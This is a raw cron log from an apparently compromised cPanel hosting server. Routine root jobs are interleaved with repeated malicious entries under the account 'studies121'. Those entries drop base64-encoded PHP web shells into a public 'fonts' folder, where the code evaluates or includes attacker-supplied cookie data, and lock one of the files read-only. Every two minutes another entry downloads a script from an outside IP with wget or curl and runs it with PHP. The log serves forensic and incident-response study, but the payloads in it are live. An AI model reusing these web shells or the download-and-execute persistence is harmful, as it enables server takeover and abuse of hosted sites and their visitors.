Sep  7 16:05:01 ip-184-168-122-23 CROND[25020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:05:01 ip-184-168-122-23 CROND[25018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:06:01 ip-184-168-122-23 CROND[25129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:06:01 ip-184-168-122-23 CROND[25126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:06:01 ip-184-168-122-23 CROND[25127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:06:01 ip-184-168-122-23 CROND[25128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:06:01 ip-184-168-122-23 CROND[25130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:07:01 ip-184-168-122-23 CROND[25225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:07:01 ip-184-168-122-23 CROND[25227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:07:01 ip-184-168-122-23 CROND[25226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:07:01 ip-184-168-122-23 CROND[25228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:08:01 ip-184-168-122-23 CROND[25422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:08:01 ip-184-168-122-23 CROND[25423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:08:01 ip-184-168-122-23 CROND[25424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:08:01 ip-184-168-122-23 CROND[25429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:08:01 ip-184-168-122-23 CROND[25428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:09:02 ip-184-168-122-23 CROND[25962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:09:02 ip-184-168-122-23 CROND[25964]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 16:09:02 ip-184-168-122-23 CROND[25960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:09:02 ip-184-168-122-23 CROND[25963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:09:02 ip-184-168-122-23 CROND[25961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:10:02 ip-184-168-122-23 CROND[26180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:10:02 ip-184-168-122-23 CROND[26178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:10:02 ip-184-168-122-23 CROND[26179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:10:02 ip-184-168-122-23 CROND[26183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:10:02 ip-184-168-122-23 CROND[26184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:10:02 ip-184-168-122-23 CROND[26185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:10:02 ip-184-168-122-23 CROND[26186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:10:02 ip-184-168-122-23 CROND[26187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:11:01 ip-184-168-122-23 CROND[26305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:11:01 ip-184-168-122-23 CROND[26306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:11:01 ip-184-168-122-23 CROND[26308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:11:01 ip-184-168-122-23 CROND[26307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:12:01 ip-184-168-122-23 CROND[26437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:12:01 ip-184-168-122-23 CROND[26439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:12:01 ip-184-168-122-23 CROND[26438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:12:01 ip-184-168-122-23 CROND[26440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:12:01 ip-184-168-122-23 CROND[26441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:13:01 ip-184-168-122-23 CROND[26578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:13:01 ip-184-168-122-23 CROND[26580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:13:01 ip-184-168-122-23 CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:13:01 ip-184-168-122-23 CROND[26579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:14:01 ip-184-168-122-23 CROND[26742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:14:01 ip-184-168-122-23 CROND[26743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:14:01 ip-184-168-122-23 CROND[26745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:14:01 ip-184-168-122-23 CROND[26744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:14:01 ip-184-168-122-23 CROND[26746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:15:02 ip-184-168-122-23 CROND[26854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:15:02 ip-184-168-122-23 CROND[26856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:15:02 ip-184-168-122-23 CROND[26857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:15:02 ip-184-168-122-23 CROND[26859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:15:02 ip-184-168-122-23 CROND[26860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:15:02 ip-184-168-122-23 CROND[26861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:15:02 ip-184-168-122-23 CROND[26865]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 16:16:02 ip-184-168-122-23 CROND[27010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:16:02 ip-184-168-122-23 CROND[27011]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:16:02 ip-184-168-122-23 CROND[27007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:16:02 ip-184-168-122-23 CROND[27008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:16:02 ip-184-168-122-23 CROND[27009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:16:02 ip-184-168-122-23 CROND[27012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:17:01 ip-184-168-122-23 CROND[27104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:17:01 ip-184-168-122-23 CROND[27103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:17:01 ip-184-168-122-23 CROND[27105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
